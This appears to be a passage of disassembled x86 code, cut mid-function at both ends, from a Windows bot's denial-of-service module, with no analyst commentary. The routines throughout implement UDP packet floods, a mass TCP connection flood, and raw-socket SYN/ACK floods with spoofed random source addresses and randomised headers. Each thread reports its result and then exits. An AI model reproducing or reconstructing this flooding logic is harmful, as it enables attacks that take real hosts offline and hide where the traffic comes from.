loc_4140D5: ; CODE XREF: sub_413F9C+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_4140F6
loc_4140DC: ; CODE XREF: sub_413F9C+158j
call sub_41C2C2
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_4140DC
loc_4140F6: ; CODE XREF: sub_413F9C+13Ej
; sub_413F9C+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_414155
push 0Bh
pop esi
loc_414103: ; CODE XREF: sub_413F9C+197j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_4CBA38 ; sendto
push [ebp+var_28]
call dword_427080 ; Sleep
dec esi
jnz short loc_414103
cmp [ebp+var_24], edi
jnz short loc_4140F6
call sub_41C2C2
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_4CB9D4 ; htons
mov [ebp+var_E], ax
jmp short loc_4140F6
; ---------------------------------------------------------------------------
loc_414155: ; CODE XREF: sub_413F9C+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset unk_437A44
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_414195
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_409869
add esp, 14h
loc_414195: ; CODE XREF: sub_413F9C+1D7j
lea eax, [ebp+var_334]
push eax
call sub_415D38
push [ebp+var_20]
call sub_40B6D6
pop ecx
pop ecx
push edi
call dword_4270D4 ; ExitThread
sub_413F9C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4141B2 proc near ; DATA XREF: sub_401ACD+4CC4o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_414313
add esp, 0Ch
push eax
lea eax, [ebp+var_414]
push offset dword_437A98
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414232
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409869
add esp, 14h
loc_414232: ; CODE XREF: sub_4141B2+5Ej
lea eax, [ebp+var_414]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_4141B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414251 proc near ; CODE XREF: sub_414313+27p
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4CB9D4 ; htons
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_41430F
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_41429C: ; CODE XREF: sub_414251+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142A4: ; CODE XREF: sub_414251+7Aj
push 0
push 1
push 2
call dword_427204 ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_4142C7
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call dword_4271E0 ; ioctlsocket
loc_4142C7: ; CODE XREF: sub_414251+64j
add esi, 4
dec ebx
jnz short loc_4142A4
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142D5: ; CODE XREF: sub_414251+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
call dword_4271F8 ; connect
add esi, 4
dec ebx
jnz short loc_4142D5
push 64h
call dword_427080 ; Sleep
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142F9: ; CODE XREF: sub_414251+B4j
push dword ptr [esi]
call dword_427200 ; closesocket
add esi, 4
dec ebx
jnz short loc_4142F9
dec [ebp+arg_4]
jnz short loc_41429C
pop edi
pop esi
pop ebx
loc_41430F: ; CODE XREF: sub_414251+3Ej
xor eax, eax
leave
retn
sub_414251 endp
; =============== S U B R O U T I N E =======================================
sub_414313 proc near ; CODE XREF: sub_4141B2+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A8F0
push [esp+10h+arg_4]
mov edi, eax
call sub_41C159
push [esp+14h+arg_8]
mov ebx, eax
call sub_41C159
mov esi, eax
push esi
push ebx
push edi
call sub_414251
add esp, 18h
test eax, eax
jnz short loc_414349
push 1
pop eax
loc_414349: ; CODE XREF: sub_414313+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_414313 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414358 proc near ; DATA XREF: sub_401ACD+636Bo
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_4146A9
add esp, 0Ch
push eax
lea eax, [ebp+var_414]
push offset unk_437AC4
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_4143D8
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409869
add esp, 14h
loc_4143D8: ; CODE XREF: sub_414358+5Ej
lea eax, [ebp+var_414]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_414358 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143F7 proc near ; CODE XREF: sub_4146A9+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB944 ; WSAStartup
test eax, eax
jz short loc_414437
xor eax, eax
jmp loc_4146A5
; ---------------------------------------------------------------------------
loc_414437: ; CODE XREF: sub_4143F7+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CBA78 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_41469D
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_414693
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4CB9D4 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CB9D4 ; htons
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CB9D4 ; htons
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CB9D4 ; htons
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call dword_42713C ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call dword_427138 ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41DB20
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_414522: ; CODE XREF: sub_4143F7+25Dj
; sub_4143F7+26Bj
mov [ebp+var_24], bx
call sub_41C2C2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB9D4 ; htons
mov [ebp+var_34], ax
call sub_41C2C2
mov edi, eax
shl edi, 10h
call sub_41C2C2
or edi, eax
push edi
call dword_4CB9D4 ; htons
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB9D0 ; htonl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB9D4 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41CD20
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_414667
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call dword_427138 ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_414690
jl loc_414522
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_414690
jmp loc_414522
; ---------------------------------------------------------------------------
loc_414667: ; CODE XREF: sub_4143F7+247j
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset unk_437AEC
push eax
call sub_41C266
lea eax, [ebp+var_F4]
push eax
call sub_415D38
add esp, 10h
jmp short loc_414693
; ---------------------------------------------------------------------------
loc_414690: ; CODE XREF: sub_4143F7+25Bj
; sub_4143F7+269j
mov ebx, [ebp+arg_8]
loc_414693: ; CODE XREF: sub_4143F7+78j
; sub_4143F7+297j
push [ebp+var_C]
call dword_4CBA6C ; closesocket
pop esi
loc_41469D: ; CODE XREF: sub_4143F7+5Bj
call dword_4CB92C ; WSACleanup
mov eax, ebx
loc_4146A5: ; CODE XREF: sub_4143F7+3Bj
pop edi
pop ebx
leave
retn
sub_4143F7 endp
; =============== S U B R O U T I N E =======================================
sub_4146A9 proc near ; CODE XREF: sub_414358+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A8F0
push [esp+10h+arg_4]
mov esi, eax
call sub_41C159
push [esp+14h+arg_8]
mov ebx, eax
call sub_41C159
mov edi, eax
call sub_41C2C2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4143F7
add esp, 1Ch
test eax, eax
jnz short loc_4146F4
push 1
pop eax
loc_4146F4: ; CODE XREF: sub_4146A9+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4146A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414703 proc near ; DATA XREF: sub_401ACD+6D3Do
var_394 = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+var_110]
push eax
call sub_41C159
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4CBA14 ; inet_addr
push eax
call sub_4147A6
pop ecx
pop ecx
push eax
lea eax, [ebp+var_394]
push offset dword_437B0C
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414787
push esi
lea eax, [ebp+var_394]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_194]
call sub_409869
add esp, 14h
loc_414787: ; CODE XREF: sub_414703+62j
lea eax, [ebp+var_394]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_414703 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4147A6 proc near ; CODE XREF: sub_414703+41p
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 98h
push ebx
push esi
push edi
push 1
pop ecx
and [ebp+var_88], 0
push 4
and [ebp+var_58], 0
pop esi
mov ebx, 0FFh
push 6
xor eax, eax
pop edx
lea edi, [ebp+var_54]
mov [ebp+var_84], ecx
mov [ebp+var_80], 2
mov [ebp+var_7C], esi
mov [ebp+var_78], edx
mov [ebp+var_74], 8
mov [ebp+var_70], 0Ch
mov [ebp+var_6C], 11h
mov [ebp+var_68], 16h
mov [ebp+var_64], 29h
mov [ebp+var_60], 3Ah
mov [ebp+var_5C], ebx
mov [ebp+var_50], eax
stosd
lea edi, [ebp+var_2C]
mov [ebp+var_4C], eax
mov [ebp+var_48], eax
mov [ebp+var_44], 2000h
mov [ebp+var_40], esi
mov [ebp+var_3C], edx
mov [ebp+var_38], 3FFFh
mov [ebp+var_34], ecx
mov [ebp+var_30], eax
mov [ebp+var_28], ecx
stosd
mov edi, 100h
push edi
call sub_41D9A5
pop ecx
mov [ebp+var_4], eax
push edi
push eax
call dword_4CB9E8 ; gethostname
push [ebp+var_4]
call dword_4CBA58 ; gethostbyname
mov eax, [eax+0Ch]
push ebx
push 3
push 2
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_C], eax
call dword_4CBA54 ; socket
lea ecx, [ebp+var_28]
push esi
push ecx
push 2
push 0
push eax
mov [ebp+var_4], eax
call dword_4CB9B4 ; setsockopt
mov esi, 200h
push esi
call sub_41BEB5
mov edi, dword_4270B0
pop ecx
mov [ebp+var_8], eax
call edi ; GetTickCount
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
push 29Ah
mov [ebp+var_94], eax
mov [ebp+var_98], 2
call dword_4CB9D4 ; htons
mov [ebp+var_96], ax
loc_4148C1: ; CODE XREF: sub_4147A6+1FCj
call edi ; GetTickCount
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja loc_4149A7
call sub_41C2C2
cdq
mov ecx, ebx
idiv ecx
mov eax, [ebp+var_C]
and eax, 0FFFFFFh
shl edx, 18h
or edx, eax
mov [ebp+var_C], edx
call sub_41C2C2
cdq
mov ecx, ebx
idiv ecx
mov [ebp+var_54], edx
call sub_41C2C2
cdq
mov ecx, 1FA4h
mov [ebp+var_24], 45h
idiv ecx
mov [ebp+var_23], 4
mov [ebp+var_2C], edx
call sub_41C2C2
mov [ebp+var_20], ax
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
mov ax, word ptr [ebp+edx*4+var_50]
push eax
call dword_4CB9D4 ; htons
push esi
mov [ebp+var_1E], ax
call dword_4CB9D4 ; htons
mov [ebp+var_22], ax
mov [ebp+var_1C], bl
call sub_41C2C2
push 0Eh
cdq
pop ecx
idiv ecx
push 14h
mov al, byte ptr [ebp+edx*4+var_88]
mov [ebp+var_1B], al
mov eax, [ebp+var_C]
mov [ebp+var_18], eax
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
lea eax, [ebp+var_24]
push eax
call sub_40AA5F
mov [ebp+var_1A], ax
lea eax, [ebp+var_24]
push 14h
push eax
push [ebp+var_8]
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_98]
push 10h
push eax
push 0
push esi
push [ebp+var_8]
push [ebp+var_4]
call dword_4CBA38 ; sendto
jmp loc_4148C1
; ---------------------------------------------------------------------------
loc_4149A7: ; CODE XREF: sub_4147A6+12Cj
push [ebp+var_8]
call sub_41BA91
pop ecx
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push 1
pop eax
pop edi
pop esi
pop ebx
leave
retn
sub_4147A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4149C1 proc near ; DATA XREF: sub_401ACD+5306o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, dword_4270B0
call edi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
push 0FFh
push 3
push 2
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_414A8A
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset unk_437C24
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_414A6A
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414A6A: ; CODE XREF: sub_4149C1+84j
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_414A8A: ; CODE XREF: sub_4149C1+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_414B08
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset unk_437BEC
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_414AE8
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414AE8: ; CODE XREF: sub_4149C1+102j
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_414B08: ; CODE XREF: sub_4149C1+DFj
lea eax, [ebp+var_23C]
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_414B78
lea eax, [ebp+var_440]
push offset unk_437BCC
push eax
call sub_41C266
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_414B58
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414B58: ; CODE XREF: sub_4149C1+172j
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_414B78: ; CODE XREF: sub_4149C1+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_4CB9D4 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
loc_414BB0: ; CODE XREF: sub_4149C1+430j
call edi ; GetTickCount
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_414E74
push 28h
mov [ebp+var_2C], 45h
call dword_4CB9D4 ; htons
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_414C23
call sub_41C2C2
mov esi, eax
shl esi, 8
call sub_41C2C2
add esi, eax
shl esi, 8
call sub_41C2C2
add esi, eax
shl esi, 8
call sub_41C2C2
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_414C39
; ---------------------------------------------------------------------------
loc_414C23: ; CODE XREF: sub_4149C1+233j
push [ebp+var_240]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_20], eax
loc_414C39: ; CODE XREF: sub_4149C1+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_414C57
call sub_41C2C2
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_414C5D
; ---------------------------------------------------------------------------
loc_414C57: ; CODE XREF: sub_4149C1+284j
push [ebp+var_B8]
loc_414C5D: ; CODE XREF: sub_4149C1+294j
call dword_4CB9D4 ; htons
mov [ebp+var_16], ax
call sub_41C2C2
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB9D4 ; htons
push 12345678h
mov [ebp+var_18], ax
call dword_4CB9D0 ; htonl
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn ; "syn"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_414CAD
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_414D09
; ---------------------------------------------------------------------------
loc_414CAD: ; CODE XREF: sub_4149C1+2E1j
lea eax, [ebp+var_1BC]
push offset aAck ; "ack"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_414CCD
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_414D09
; ---------------------------------------------------------------------------
loc_414CCD: ; CODE XREF: sub_4149C1+301j
lea eax, [ebp+var_1BC]
push offset aRandom_0 ; "random"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_414D09
call sub_41C2C2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_41C2C2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_414D09: ; CODE XREF: sub_4149C1+2EAj
; sub_4149C1+30Aj ...
push 200h
mov [ebp+var_C], 50h
call dword_4CB9D4 ; htons
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_4CB9D4 ; htons
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call sub_41CD20
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_414DF6
inc [ebp+arg_0]
jmp loc_414BB0
; ---------------------------------------------------------------------------
